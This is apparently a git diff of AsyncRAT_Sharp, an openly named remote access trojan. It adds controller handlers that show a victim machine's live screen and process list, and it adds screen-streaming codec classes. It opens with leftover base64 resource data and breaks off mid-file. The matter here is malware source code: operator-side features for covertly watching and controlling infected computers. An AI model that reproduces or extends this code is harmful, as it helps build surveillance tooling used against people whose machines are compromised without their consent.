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
|
||||
gg==
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
@ -4,6 +4,9 @@ using AsyncRAT_Sharp.MessagePack;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using AsyncRAT_Sharp.Forms;
|
||||
using System.IO;
|
||||
|
||||
|
||||
namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
@ -28,6 +31,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
|
||||
Program.form1.listView1.Items.Insert(0, Client.LV);
|
||||
Settings.Online.Add(Client);
|
||||
}));
|
||||
@ -51,6 +55,81 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
if (Program.form1.InvokeRequired)
|
||||
{
|
||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
|
||||
try
|
||||
{
|
||||
if (RD != null && RD.Active == true)
|
||||
{
|
||||
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
|
||||
|
||||
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
|
||||
{
|
||||
RD.pictureBox1.Image = (Bitmap)decoded;
|
||||
RD.RenderSW = Stopwatch.StartNew();
|
||||
}
|
||||
RD.FPS++;
|
||||
if (RD.sw.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length);
|
||||
RD.FPS = 0;
|
||||
RD.sw = Stopwatch.StartNew();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "false";
|
||||
Client.BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch (Exception ex) { Debug.WriteLine(ex.Message); }
|
||||
}));
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "processManager":
|
||||
{
|
||||
if (Program.form1.InvokeRequired)
|
||||
{
|
||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
|
||||
if (PM != null)
|
||||
{
|
||||
PM.listView1.Items.Clear();
|
||||
string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
|
||||
string data = AllProcess.ToString();
|
||||
string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
for (int i = 0; i < _NextProc.Length; i++)
|
||||
{
|
||||
if (_NextProc[i].Length > 0)
|
||||
{
|
||||
ListViewItem lv = new ListViewItem();
|
||||
lv.Text = Path.GetFileName(_NextProc[i]);
|
||||
lv.SubItems.Add(_NextProc[i + 1]);
|
||||
lv.ToolTipText = _NextProc[i];
|
||||
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
|
||||
PM.imageList1.Images.Add(_NextProc[i + 1], im);
|
||||
lv.ImageKey = _NextProc[i + 1];
|
||||
PM.listView1.Items.Add(lv);
|
||||
}
|
||||
i += 2;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@ -4,9 +4,9 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
class Helper
|
||||
{
|
||||
public static String BytesToString(long byteCount)
|
||||
public static string BytesToString(long byteCount)
|
||||
{
|
||||
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
|
||||
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
|
||||
if (byteCount == 0)
|
||||
return "0" + suf[0];
|
||||
long bytes = Math.Abs(byteCount);
|
||||
|
||||
@ -21,7 +21,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
// private event ReadEventHandler Read;
|
||||
// private delegate void ReadEventHandler(Clients client, byte[] data);
|
||||
private object SendSync { get; set; }
|
||||
|
||||
public string ID { get; set; }
|
||||
|
||||
public Clients(Socket CLIENT)
|
||||
{
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AsyncRAT_Sharp.Sockets
|
||||
@ -34,8 +33,9 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
}
|
||||
|
||||
private void BeginAccept()
|
||||
private async void BeginAccept()
|
||||
{
|
||||
await Task.Delay(1);
|
||||
listener.BeginAccept(EndAccept, null);
|
||||
}
|
||||
|
||||
|
||||
@ -0,0 +1,160 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class DirectDriverCodec
|
||||
{
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private byte[] EncodeBuffer;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private JpgCompression jpgCompression;
|
||||
|
||||
public DirectDriverCodec(int Quality)
|
||||
{
|
||||
jpgCompression = new JpgCompression(Quality);
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Changes.Length; i++)
|
||||
{
|
||||
Rectangle rect = Changes[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
68
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
68
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
@ -0,0 +1,68 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
/// <summary>
|
||||
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||
/// </summary>
|
||||
public class MJPGCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.None; }
|
||||
}
|
||||
|
||||
public MJPGCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||
outStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataLength];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,204 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public int MaxBuffers { get; private set; }
|
||||
private SortedList<int, byte[]> EncodeCache;
|
||||
private SortedList<int, byte[]> DecodeCache;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
this.EncodeCache = new SortedList<int, byte[]>();
|
||||
this.DecodeCache = new SortedList<int, byte[]>();
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
byte[] temp = new byte[Stride];
|
||||
fixed(byte* ptr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||
}
|
||||
|
||||
CRC32 hasher = new CRC32();
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||
|
||||
if (EncodeCache.Count >= MaxBuffers)
|
||||
EncodeCache.RemoveAt(0);
|
||||
|
||||
if (EncodeCache.ContainsKey(hash))
|
||||
{
|
||||
outStream.WriteByte(1);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
outStream.WriteByte(0);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
EncodeCache.Add(hash, temp);
|
||||
}
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
|
||||
cloned.Dispose();
|
||||
}
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (inStream.Position < inStream.Length)
|
||||
{
|
||||
byte[] temp = new byte[11];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
bool inCache = temp[0] == 1;
|
||||
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||
int Hash = BitConverter.ToInt32(temp, 5);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
if (inCache)
|
||||
{
|
||||
if (DecodeCache.ContainsKey(Hash))
|
||||
{
|
||||
temp = DecodeCache[Hash];
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,179 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
